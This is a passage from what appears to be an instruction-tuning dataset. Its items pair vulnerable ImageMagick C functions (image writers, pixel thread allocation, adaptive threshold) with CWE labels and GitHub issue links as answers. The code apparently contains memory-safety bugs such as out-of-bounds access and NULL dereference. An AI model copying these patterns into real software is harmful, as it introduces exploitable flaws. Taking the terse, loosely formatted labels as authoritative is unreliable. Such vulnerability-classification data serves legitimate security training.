(ssize_t) extent)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n quantum_info=DestroyQuantumInfo(quantum_info);\n break;\n }\n case 'F':\n case 'f':\n {\n (void) WriteBlobString(image,image->endian == LSBEndian ? \"-1.0\\n\" :\n \"1.0\\n\");\n image->depth=32;\n quantum_type=format == 'f' ? GrayQuantum : RGBQuantum;\n quantum_info=AcquireQuantumInfo((const ImageInfo *) NULL,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n status=SetQuantumFormat(image,quantum_info,FloatingPointQuantumFormat);\n if (status == MagickFalse)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=GetQuantumPixels(quantum_info);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n register const PixelPacket\n *magick_restrict p;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n extent=ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,quantum_type,pixels,&image->exception);\n (void) WriteBlob(image,extent,pixels);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n quantum_info=DestroyQuantumInfo(quantum_info);\n break;\n }\n }\n if (GetNextImageInList(image) == (Image *) NULL)\n break;\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,SaveImagesTag,scene++,imageListLength);\n if (status == MagickFalse)\n break;\n } while (image_info->adjoin != MagickFalse);\n (void) CloseBlob(image);\n return(MagickTrue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1612'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static PixelChannels **AcquirePixelThreadSet(const Image *image)\n{\n PixelChannels\n **pixels;\n\n register ssize_t\n i;\n\n size_t\n number_threads;\n\n number_threads=(size_t) GetMagickResourceLimit(ThreadResource);\n pixels=(PixelChannels **) AcquireQuantumMemory(number_threads,\n sizeof(*pixels));\n if (pixels == (PixelChannels **) NULL)\n return((PixelChannels **) NULL);\n (void) memset(pixels,0,number_threads*sizeof(*pixels));\n for (i=0; i < (ssize_t) number_threads; i++)\n {\n register ssize_t\n j;\n\n pixels[i]=(PixelChannels *) AcquireQuantumMemory(image->columns,\n sizeof(**pixels));\n if (pixels[i] == (PixelChannels *) NULL)\n return(DestroyPixelThreadSet(pixels));\n for (j=0; j < (ssize_t) image->columns; j++)\n {\n register ssize_t\n k;\n\n for (k=0; k < MaxPixelChannels; k++)\n pixels[i][j].channel[k]=0.0;\n }\n }\n return(pixels);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-119', 'CWE-787'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1586'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: MagickExport Image *AdaptiveThresholdImage(const Image *image,\n const size_t width,const size_t height,const double bias,\n ExceptionInfo *exception)\n{\n#define AdaptiveThresholdImageTag \"AdaptiveThreshold/Image\"\n\n CacheView\n *image_view,\n *threshold_view;\n\n Image\n *threshold_image;\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n progress;\n\n MagickSizeType\n number_pixels;\n\n ssize_t\n y;\n\n /*\n Initialize threshold image attributes.\n */\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n threshold_image=CloneImage(image,0,0,MagickTrue,exception);\n if (threshold_image == (Image *) NULL)\n return((Image *) NULL);\n if (width == 0)\n return(threshold_image);\n status=SetImageStorageClass(threshold_image,DirectClass,exception);\n if (status == MagickFalse)\n {\n threshold_image=DestroyImage(threshold_image);\n return((Image *) NULL);\n }\n /*\n Threshold image.\n */\n status=MagickTrue;\n progress=0;\n number_pixels=(MagickSizeType) width*height;\n image_view=AcquireVirtualCacheView(image,exception);\n threshold_view=AcquireAuthenticCacheView(threshold_image,exception);\n#if defined(MAGICKCORE_OPENMP_SUPPORT)\n #pragma omp parallel for schedule(static) shared(progress,status) \\\n magick_number_threads(image,threshold_image,image->rows,1)\n#endif\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n double\n channel_bias[MaxPixelChannels],\n channel_sum[MaxPixelChannels];\n\n register const Quantum\n *magick_restrict p,\n *magick_restrict pixels;\n\n register Quantum\n *magick_restrict q;\n\n register ssize_t\n i,\n x;\n\n ssize_t\n center,\n u,\n v;\n\n if (status == MagickFalse)\n continue;\n p=GetCacheViewVirtualPixels(image_view,-((ssize_t) width/2L),y-(ssize_t)\n (height/2L),image->columns+width,height,exception);\n q=QueueCacheViewAuthenticPixels(threshold_view,0,y,threshold_image->columns,\n 1,exception);\n if ((p == (const Quantum *) NULL) || (q == (Quantum *) NULL))\n {\n status=MagickFalse;\n continue;\n }\n center=(ssize_t) GetPixelChannels(image)*(image->columns+width)*(height/2L)+\n GetPixelChannels(image)*(width/2);\n for (i=0; i < (ssize_t) GetPixelChannels(image); i++)\n {\n PixelChannel channel = GetPixelChannelChannel(image,i);\n PixelTrait traits = GetPixelChannelTraits(image,channel);\n PixelTrait threshold_traits=GetPixelChannelTraits(threshold_image,\n channel);\n if ((traits == UndefinedPixelTrait) ||\n (threshold_traits == UndefinedPixelTrait))\n continue;\n if ((threshold_traits & CopyPixelTrait) != 0)\n {\n SetPixelChannel(threshold_image,channel,p[center+i],q);\n continue;\n }\n pixels=p;\n channel_bias[channel]=0.0;\n channel_sum[channel]=0.0;\n for (v=0; v < (ssize_t) height; v++)\n {\n for (u=0; u < (ssize_t) width; u++)\n {\n if (u == (ssize_t) (width-1))\n channel_bias[channel]+=pixels[i];\n channel_sum[channel]+=pixels[i];\n pixels+=GetPixelChannels(image);\n }\n pixels+=GetPixelChannels(image)*image->columns;\n }\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n for (i=0; i < (ssize_t) GetPixelChannels(image); i++)\n {\n double\n mean;\n\n PixelChannel channel = GetPixelChannelChannel(image,i);\n PixelTrait traits = GetPixelChannelTraits(image,channel);\n PixelTrait threshold_traits=GetPixelChannelTraits(threshold_image,\n channel);\n if ((traits == UndefinedPixelTrait) ||\n (threshold_traits == UndefinedPixelTrait))\n continue;\n if ((threshold_traits & CopyPixelTrait) != 0)\n {\n SetPixelChannel(threshold_image,channel,p[center+i],q);\n continue;\n }\n channel_sum[channel]-=channel_bias[channel];\n channel_bias[channel]=0.0;\n pixels=p;\n for (v=0; v < (ssize_t) height; v++)\n {\n channel_bias[channel]+=pixels[i];\n pixels+=(width-1)*GetPixelChannels(image);\n channel_sum[channel]+=pixels[i];\n pixels+=GetPixelChannels(image)*(image->columns+1);\n }\n mean=(double) (channel_sum[channel]/number_pixels+bias);\n SetPixelChannel(threshold_image,channel,(Quantum) ((double)\n p[center+i] <= mean ? 0 : QuantumRange),q);\n }\n p+=GetPixelChannels(image);\n q+=GetPixelChannels(threshold_image);\n }\n if (SyncCacheViewAuthenticPixels(threshold_view,exception) == MagickFalse)\n status=MagickFalse;\n if (image->progress_monitor != (MagickProgressMonitor) NULL)\n {\n MagickBooleanType\n proceed;\n\n#if defined(MAGICKCORE_OPENMP_SUPPORT)\n #pragma omp atomic\n#endif\n progress++;\n proceed=SetImageProgress(image,AdaptiveThresholdImageTag,progress,\n image->rows);\n if (proceed == MagickFalse)\n status=MagickFalse;\n }\n }\n threshold_image->type=image->type;\n threshold_view=DestroyCacheView(threshold_view);\n image_view=DestroyCacheView(image_view);\n if (status == MagickFalse)\n threshold_image=DestroyImage(threshold_image);\n return(threshold_image);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1609'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType WriteDPXImage(const ImageInfo *image_info,\n Image *image)\n{\n const char\n *value;\n\n const StringInfo\n *profile;\n\n DPXInfo\n dpx;\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n offset;\n\n MagickStatusType\n flags;\n\n GeometryInfo\n geometry_info;\n\n QuantumInfo\n *quantum_info;\n\n QuantumType\n quantum_type;\n\n register const PixelPacket\n *p;\n\n register ssize_t\n i;\n\n ssize_t\n count,\n horizontal_factor,\n vertical_factor,\n y;\n\n size_t\n channels,\n extent;\n\n time_t\n seconds;\n\n unsigned char\n *pixels;\n\n /*\n Open output image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n horizontal_factor=4;\n vertical_factor=4;\n if (image_info->sampling_factor != (char *) NULL)\n {\n GeometryInfo\n geometry_info;\n\n MagickStatusType\n flags;\n\n flags=ParseGeometry(image_info->sampling_factor,&geometry_info);\n horizontal_factor=(ssize_t) geometry_info.rho;\n vertical_factor=(ssize_t) geometry_info.sigma;\n if ((flags & SigmaValue) == 0)\n vertical_factor=horizontal_factor;\n if ((horizontal_factor != 1) && (horizontal_factor != 2) &&\n (horizontal_factor != 4) && (vertical_factor != 1) &&\n (vertical_factor != 2) && (vertical_factor != 4))\n ThrowWriterException(CorruptImageError,\"UnexpectedSamplingFactor\");\n }\n if ((image->colorspace == YCbCrColorspace) &&\n ((horizontal_factor == 2) || (vertical_factor == 2)))\n if ((image->columns % 2) != 0)\n image->columns++;\n status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);\n if (status == MagickFalse)\n return(status);\n /*\n Write file header.\n */\n (void) memset(&dpx,0,sizeof(dpx));\n offset=0;\n dpx.file.magic=0x53445058U;\n offset+=WriteBlobLong(image,dpx.file.magic);\n dpx.file.image_offset=0x2000U;\n profile=GetImageProfile(image,\"dpx:user-data\");\n if (profile != (StringInfo *) NULL)\n {\n if (GetStringInfoLength(profile) > 1048576)\n ThrowWriterException(ImageError,\"WidthOrHeightExceedsLimit\");\n dpx.file.image_offset+=(unsigned int) GetStringInfoLength(profile);\n dpx.file.image_offset=(((dpx.file.image_offset+0x2000-1)/0x2000)*0x2000);\n }\n offset+=WriteBlobLong(image,dpx.file.image_offset);\n (void) strncpy(dpx.file.version,\"V2.0\",sizeof(dpx.file.version)-1);\n offset+=WriteBlob(image,8,(unsigned char *) &dpx.file.version);\n channels=1;\n if (IsGrayImage(image,&image->exception) == MagickFalse)\n channels=3;\n if (image->matte != MagickFalse)\n channels++;\n dpx.file.file_size=(unsigned int) (channels*image->columns*image->rows+\n dpx.file.image_offset);\n offset+=WriteBlobLong(image,dpx.file.file_size);\n dpx.file.ditto_key=1U; /* new frame */\n offset+=WriteBlobLong(image,dpx.file.ditto_key);\n dpx.file.generic_size=0x00000680U;\n offset+=WriteBlobLong(image,dpx.file.generic_size);\n dpx.file.industry_size=0x00000180U;\n offset+=WriteBlobLong(image,dpx.file.industry_size);\n dpx.file.user_size=0;\n if (profile != (StringInfo *) NULL)\n {\n dpx.file.user_size+=(unsigned int) GetStringInfoLength(profile);\n dpx.file.user_size=(((dpx.file.user_size+0x2000-1)/0x2000)*0x2000);\n }\n offset+=WriteBlobLong(image,dpx.file.user_size);\n value=GetDPXProperty(image,\"dpx:file.filename\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.file.filename,value,sizeof(dpx.file.filename)-1);\n offset+=WriteBlob(image,sizeof(dpx.file.filename),(unsigned char *)\n dpx.file.filename);\n seconds=time((time_t *) NULL);\n (void) FormatMagickTime(seconds,sizeof(dpx.file.timestamp),\n dpx.file.timestamp);\n offset+=WriteBlob(image,sizeof(dpx.file.timestamp),(unsigned char *)\n dpx.file.timestamp);\n (void) strncpy(dpx.file.creator,MagickAuthoritativeURL,\n sizeof(dpx.file.creator)-1);\n value=GetDPXProperty(image,\"dpx:file.creator\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.file.creator,value,sizeof(dpx.file.creator)-1);\n offset+=WriteBlob(image,sizeof(dpx.file.creator),(unsigned char *)\n dpx.file.creator);\n value=GetDPXProperty(image,\"dpx:file.project\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.file.project,value,sizeof(dpx.file.project)-1);\n offset+=WriteBlob(image,sizeof(dpx.file.project),(unsigned char *)\n dpx.file.project);\n value=GetDPXProperty(image,\"dpx:file.copyright\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.file.copyright,value,sizeof(dpx.file.copyright)-1);\n offset+=WriteBlob(image,sizeof(dpx.file.copyright),(unsigned char *)\n dpx.file.copyright);\n dpx.file.encrypt_key=(~0U);\n offset+=WriteBlobLong(image,dpx.file.encrypt_key);\n offset+=WriteBlob(image,sizeof(dpx.file.reserve),(unsigned char *)\n dpx.file.reserve);\n /*\n Write image header.\n */\n switch (image->orientation)\n {\n default:\n case TopLeftOrientation: dpx.image.orientation=0; break;\n case TopRightOrientation: dpx.image.orientation=1; break;\n case BottomLeftOrientation: dpx.image.orientation=2; break;\n case BottomRightOrientation: dpx.image.orientation=3; break;\n case LeftTopOrientation: dpx.image.orientation=4; break;\n case RightTopOrientation: dpx.image.orientation=5; break;\n case LeftBottomOrientation: dpx.image.orientation=6; break;\n case RightBottomOrientation: dpx.image.orientation=7; break;\n }\n offset+=WriteBlobShort(image,dpx.image.orientation);\n dpx.image.number_elements=1;\n offset+=WriteBlobShort(image,dpx.image.number_elements);\n if ((image->columns != (unsigned int) image->columns) ||\n (image->rows != (unsigned int) image->rows))\n ThrowWriterException(ImageError,\"WidthOrHeightExceedsLimit\");\n offset+=WriteBlobLong(image,(unsigned int) image->columns);\n offset+=WriteBlobLong(image,(unsigned int) image->rows);\n for (i=0; i < 8; i++)\n {\n dpx.image.image_element[i].data_sign=0U;\n offset+=WriteBlobLong(image,dpx.image.image_element[i].data_sign);\n dpx.image.image_element[i].low_data=0U;\n offset+=WriteBlobLong(image,dpx.image.image_element[i].low_data);\n dpx.image.image_element[i].low_quantity=0.0f;\n offset+=WriteBlobFloat(image,dpx.image.image_element[i].low_quantity);\n dpx.image.image_element[i].high_data=0U;\n offset+=WriteBlobLong(image,dpx.image.image_element[i].high_data);\n dpx.image.image_element[i].high_quantity=0.0f;\n offset+=WriteBlobFloat(image,dpx.image.image_element[i].high_quantity);\n dpx.image.image_element[i].descriptor=0;\n if (i == 0)\n switch (image->colorspace)\n {\n case Rec601YCbCrColorspace:\n case Rec709YCbCrColorspace:\n case YCbCrColorspace:\n {\n dpx.image.image_element[i].descriptor=CbYCr444ComponentType;\n if (image->matte != MagickFalse)\n dpx.image.image_element[i].descriptor=CbYCrA4444ComponentType;\n break;\n }\n default:\n {\n dpx.image.image_element[i].descriptor=RGBComponentType;\n if (image->matte != MagickFalse)\n dpx.image.image_element[i].descriptor=RGBAComponentType;\n if ((image_info->type != TrueColorType) &&\n (image->matte == MagickFalse) &&\n (SetImageGray(image,&image->exception) != MagickFalse))\n dpx.image.image_element[i].descriptor=LumaComponentType;\n break;\n }\n }\n offset+=WriteBlobByte(image,dpx.image.image_element[i].descriptor);\n dpx.image.image_element[i].transfer_characteristic=0;\n if (image->colorspace == LogColorspace)\n dpx.image.image_element[0].transfer_characteristic=\n PrintingDensityColorimetric;\n offset+=WriteBlobByte(image,\n dpx.image.image_element[i].transfer_characteristic);\n dpx.image.image_element[i].colorimetric=0;\n offset+=WriteBlobByte(image,dpx.image.image_element[i].colorimetric);\n dpx.image.image_element[i].bit_size=0;\n if (i == 0)\n dpx.image.image_element[i].bit_size=(unsigned char) image->depth;\n offset+=WriteBlobByte(image,dpx.image.image_element[i].bit_size);\n dpx.image.image_element[i].packing=0;\n if ((image->depth == 10) || (image->depth == 12))\n dpx.image.image_element[i].packing=1;\n offset+=WriteBlobShort(image,dpx.image.image_element[i].packing);\n dpx.image.image_element[i].encoding=0;\n offset+=WriteBlobShort(image,dpx.image.image_element[i].encoding);\n dpx.image.image_element[i].data_offset=0U;\n if (i == 0)\n dpx.image.image_element[i].data_offset=dpx.file.image_offset;\n offset+=WriteBlobLong(image,dpx.image.image_element[i].data_offset);\n dpx.image.image_element[i].end_of_line_padding=0U;\n offset+=WriteBlobLong(image,dpx.image.image_element[i].end_of_line_padding);\n offset+=WriteBlobLong(image,\n dpx.image.image_element[i].end_of_image_padding);\n offset+=WriteBlob(image,sizeof(dpx.image.image_element[i].description),\n (unsigned char *) dpx.image.image_element[i].description);\n }\n offset+=WriteBlob(image,sizeof(dpx.image.reserve),(unsigned char *)\n dpx.image.reserve);\n /*\n Write orientation header.\n */\n if ((image->rows != image->magick_rows) ||\n (image->columns != image->magick_columns))\n {\n /*\n These properties are not valid if image size changed.\n */\n (void) DeleteImageProperty(image,\"dpx:orientation.x_offset\");\n (void) DeleteImageProperty(image,\"dpx:orientation.y_offset\");\n (void) DeleteImageProperty(image,\"dpx:orientation.x_center\");\n (void) DeleteImageProperty(image,\"dpx:orientation.y_center\");\n (void) DeleteImageProperty(image,\"dpx:orientation.x_size\");\n (void) DeleteImageProperty(image,\"dpx:orientation.y_size\");\n }\n dpx.orientation.x_offset=0U;\n value=GetDPXProperty(image,\"dpx:orientation.x_offset\");\n if (value != (const char *) NULL)\n dpx.orientation.x_offset=(unsigned int) StringToUnsignedLong(value);\n offset+=WriteBlobLong(image,dpx.orientation.x_offset);\n dpx.orientation.y_offset=0U;\n value=GetDPXProperty(image,\"dpx:orientation.y_offset\");\n if (value != (const char *) NULL)\n dpx.orientation.y_offset=(unsigned int) StringToUnsignedLong(value);\n offset+=WriteBlobLong(image,dpx.orientation.y_offset);\n dpx.orientation.x_center=0.0f;\n value=GetDPXProperty(image,\"dpx:orientation.x_center\");\n if (value != (const char *) NULL)\n dpx.orientation.x_center=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.orientation.x_center);\n dpx.orientation.y_center=0.0f;\n value=GetDPXProperty(image,\"dpx:orientation.y_center\");\n if (value != (const char *) NULL)\n dpx.orientation.y_center=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.orientation.y_center);\n dpx.orientation.x_size=0U;\n value=GetDPXProperty(image,\"dpx:orientation.x_size\");\n if (value != (const char *) NULL)\n dpx.orientation.x_size=(unsigned int) StringToUnsignedLong(value);\n offset+=WriteBlobLong(image,dpx.orientation.x_size);\n dpx.orientation.y_size=0U;\n value=GetDPXProperty(image,\"dpx:orientation.y_size\");\n if (value != (const char *) NULL)\n dpx.orientation.y_size=(unsigned int) StringToUnsignedLong(value);\n offset+=WriteBlobLong(image,dpx.orientation.y_size);\n value=GetDPXProperty(image,\"dpx:orientation.filename\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.orientation.filename,value,\n sizeof(dpx.orientation.filename)-1);\n offset+=WriteBlob(image,sizeof(dpx.orientation.filename),(unsigned char *)\n dpx.orientation.filename);\n offset+=WriteBlob(image,sizeof(dpx.orientation.timestamp),(unsigned char *)\n dpx.orientation.timestamp);\n value=GetDPXProperty(image,\"dpx:orientation.device\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.orientation.device,value,\n sizeof(dpx.orientation.device)-1);\n offset+=WriteBlob(image,sizeof(dpx.orientation.device),(unsigned char *)\n dpx.orientation.device);\n value=GetDPXProperty(image,\"dpx:orientation.serial\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.orientation.serial,value,\n sizeof(dpx.orientation.serial)-1);\n offset+=WriteBlob(image,sizeof(dpx.orientation.serial),(unsigned char *)\n dpx.orientation.serial);\n for (i=0; i < 4; i++)\n dpx.orientation.border[i]=0;\n value=GetDPXProperty(image,\"dpx:orientation.border\");\n if (value != (const char *) NULL)\n {\n flags=ParseGeometry(value,&geometry_info);\n if ((flags & SigmaValue) == 0)\n geometry_info.sigma=geometry_info.rho;\n dpx.orientation.border[0]=(unsigned short) (geometry_info.rho+0.5);\n dpx.orientation.border[1]=(unsigned short) (geometry_info.sigma+0.5);\n dpx.orientation.border[2]=(unsigned short) (geometry_info.xi+0.5);\n dpx.orientation.border[3]=(unsigned short) (geometry_info.psi+0.5);\n }\n for (i=0; i < 4; i++)\n offset+=WriteBlobShort(image,dpx.orientation.border[i]);\n for (i=0; i < 2; i++)\n dpx.orientation.aspect_ratio[i]=0U;\n value=GetDPXProperty(image,\"dpx:orientation.aspect_ratio\");\n if (value != (const char *) NULL)\n {\n flags=ParseGeometry(value,&geometry_info);\n if ((flags & SigmaValue) == 0)\n geometry_info.sigma=geometry_info.rho;\n dpx.orientation.aspect_ratio[0]=(unsigned int) (geometry_info.rho+0.5);\n dpx.orientation.aspect_ratio[1]=(unsigned int) (geometry_info.sigma+0.5);\n }\n for (i=0; i < 2; i++)\n offset+=WriteBlobLong(image,dpx.orientation.aspect_ratio[i]);\n offset+=WriteBlob(image,sizeof(dpx.orientation.reserve),(unsigned char *)\n dpx.orientation.reserve);\n /*\n Write film header.\n */\n (void) memset(dpx.film.id,0,sizeof(dpx.film.id));\n value=GetDPXProperty(image,\"dpx:film.id\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.film.id,value,sizeof(dpx.film.id)-1);\n offset+=WriteBlob(image,sizeof(dpx.film.id),(unsigned char *) dpx.film.id);\n (void) memset(dpx.film.type,0,sizeof(dpx.film.type));\n value=GetDPXProperty(image,\"dpx:film.type\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.film.type,value,sizeof(dpx.film.type)-1);\n offset+=WriteBlob(image,sizeof(dpx.film.type),(unsigned char *)\n dpx.film.type);\n (void) memset(dpx.film.offset,0,sizeof(dpx.film.offset));\n value=GetDPXProperty(image,\"dpx:film.offset\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.film.offset,value,sizeof(dpx.film.offset)-1);\n offset+=WriteBlob(image,sizeof(dpx.film.offset),(unsigned char *)\n dpx.film.offset);\n (void) memset(dpx.film.prefix,0,sizeof(dpx.film.prefix));\n value=GetDPXProperty(image,\"dpx:film.prefix\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.film.prefix,value,sizeof(dpx.film.prefix)-1);\n offset+=WriteBlob(image,sizeof(dpx.film.prefix),(unsigned char *)\n dpx.film.prefix);\n (void) memset(dpx.film.count,0,sizeof(dpx.film.count));\n value=GetDPXProperty(image,\"dpx:film.count\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.film.count,value,sizeof(dpx.film.count)-1);\n offset+=WriteBlob(image,sizeof(dpx.film.count),(unsigned char *)\n dpx.film.count);\n (void) memset(dpx.film.format,0,sizeof(dpx.film.format));\n value=GetDPXProperty(image,\"dpx:film.format\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.film.format,value,sizeof(dpx.film.format)-1);\n offset+=WriteBlob(image,sizeof(dpx.film.format),(unsigned char *)\n dpx.film.format);\n dpx.film.frame_position=0U;\n value=GetDPXProperty(image,\"dpx:film.frame_position\");\n if (value != (const char *) NULL)\n dpx.film.frame_position=(unsigned int) StringToUnsignedLong(value);\n offset+=WriteBlobLong(image,dpx.film.frame_position);\n dpx.film.sequence_extent=0U;\n value=GetDPXProperty(image,\"dpx:film.sequence_extent\");\n if (value != (const char *) NULL)\n dpx.film.sequence_extent=(unsigned int) StringToUnsignedLong(value);\n offset+=WriteBlobLong(image,dpx.film.sequence_extent);\n dpx.film.held_count=0U;\n value=GetDPXProperty(image,\"dpx:film.held_count\");\n if (value != (const char *) NULL)\n dpx.film.held_count=(unsigned int) StringToUnsignedLong(value);\n offset+=WriteBlobLong(image,dpx.film.held_count);\n dpx.film.frame_rate=0.0f;\n value=GetDPXProperty(image,\"dpx:film.frame_rate\");\n if (value != (const char *) NULL)\n dpx.film.frame_rate=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.film.frame_rate);\n dpx.film.shutter_angle=0.0f;\n value=GetDPXProperty(image,\"dpx:film.shutter_angle\");\n if (value != (const char *) NULL)\n dpx.film.shutter_angle=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.film.shutter_angle);\n (void) memset(dpx.film.frame_id,0,sizeof(dpx.film.frame_id));\n value=GetDPXProperty(image,\"dpx:film.frame_id\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.film.frame_id,value,sizeof(dpx.film.frame_id)-1);\n offset+=WriteBlob(image,sizeof(dpx.film.frame_id),(unsigned char *)\n dpx.film.frame_id);\n value=GetDPXProperty(image,\"dpx:film.slate\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.film.slate,value,sizeof(dpx.film.slate)-1);\n offset+=WriteBlob(image,sizeof(dpx.film.slate),(unsigned char *)\n dpx.film.slate);\n offset+=WriteBlob(image,sizeof(dpx.film.reserve),(unsigned char *)\n dpx.film.reserve);\n /*\n Write television header.\n */\n value=GetDPXProperty(image,\"dpx:television.time.code\");\n if (value != (const char *) NULL)\n dpx.television.time_code=StringToTimeCode(value);\n offset+=WriteBlobLong(image,dpx.television.time_code);\n value=GetDPXProperty(image,\"dpx:television.user.bits\");\n if (value != (const char *) NULL)\n dpx.television.user_bits=StringToTimeCode(value);\n offset+=WriteBlobLong(image,dpx.television.user_bits);\n value=GetDPXProperty(image,\"dpx:television.interlace\");\n if (value != (const char *) NULL)\n dpx.television.interlace=(unsigned char) StringToLong(value);\n offset+=WriteBlobByte(image,dpx.television.interlace);\n value=GetDPXProperty(image,\"dpx:television.field_number\");\n if (value != (const char *) NULL)\n dpx.television.field_number=(unsigned char) StringToLong(value);\n offset+=WriteBlobByte(image,dpx.television.field_number);\n dpx.television.video_signal=0;\n value=GetDPXProperty(image,\"dpx:television.video_signal\");\n if (value != (const char *) NULL)\n dpx.television.video_signal=(unsigned char) StringToLong(value);\n offset+=WriteBlobByte(image,dpx.television.video_signal);\n dpx.television.padding=0;\n value=GetDPXProperty(image,\"dpx:television.padding\");\n if (value != (const char *) NULL)\n dpx.television.padding=(unsigned char) StringToLong(value);\n offset+=WriteBlobByte(image,dpx.television.padding);\n dpx.television.horizontal_sample_rate=0.0f;\n value=GetDPXProperty(image,\"dpx:television.horizontal_sample_rate\");\n if (value != (const char *) NULL)\n dpx.television.horizontal_sample_rate=StringToDouble(value,\n (char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.horizontal_sample_rate);\n dpx.television.vertical_sample_rate=0.0f;\n value=GetDPXProperty(image,\"dpx:television.vertical_sample_rate\");\n if (value != (const char *) NULL)\n dpx.television.vertical_sample_rate=StringToDouble(value,\n (char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.vertical_sample_rate);\n dpx.television.frame_rate=0.0f;\n value=GetDPXProperty(image,\"dpx:television.frame_rate\");\n if (value != (const char *) NULL)\n dpx.television.frame_rate=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.frame_rate);\n dpx.television.time_offset=0.0f;\n value=GetDPXProperty(image,\"dpx:television.time_offset\");\n if (value != (const char *) NULL)\n dpx.television.time_offset=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.time_offset);\n dpx.television.gamma=0.0f;\n value=GetDPXProperty(image,\"dpx:television.gamma\");\n if (value != (const char *) NULL)\n dpx.television.gamma=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.gamma);\n dpx.television.black_level=0.0f;\n value=GetDPXProperty(image,\"dpx:television.black_level\");\n if (value != (const char *) NULL)\n dpx.television.black_level=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.black_level);\n dpx.television.black_gain=0.0f;\n value=GetDPXProperty(image,\"dpx:television.black_gain\");\n if (value != (const char *) NULL)\n dpx.television.black_gain=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.black_gain);\n dpx.television.break_point=0.0f;\n value=GetDPXProperty(image,\"dpx:television.break_point\");\n if (value != (const char *) NULL)\n dpx.television.break_point=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.break_point);\n dpx.television.white_level=0.0f;\n value=GetDPXProperty(image,\"dpx:television.white_level\");\n if (value != (const char *) NULL)\n dpx.television.white_level=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.white_level);\n dpx.television.integration_times=0.0f;\n value=GetDPXProperty(image,\"dpx:television.integration_times\");\n if (value != (const char *) NULL)\n dpx.television.integration_times=StringToDouble(value,(char **) NULL);\n offset+=WriteBlobFloat(image,dpx.television.integration_times);\n offset+=WriteBlob(image,sizeof(dpx.television.reserve),(unsigned char *)\n dpx.television.reserve);\n /*\n Write user header.\n */\n value=GetDPXProperty(image,\"dpx:user.id\");\n if (value != (const char *) NULL)\n (void) strncpy(dpx.user.id,value,sizeof(dpx.user.id)-1);\n offset+=WriteBlob(image,sizeof(dpx.user.id),(unsigned char *) dpx.user.id);\n if (profile != (StringInfo *) 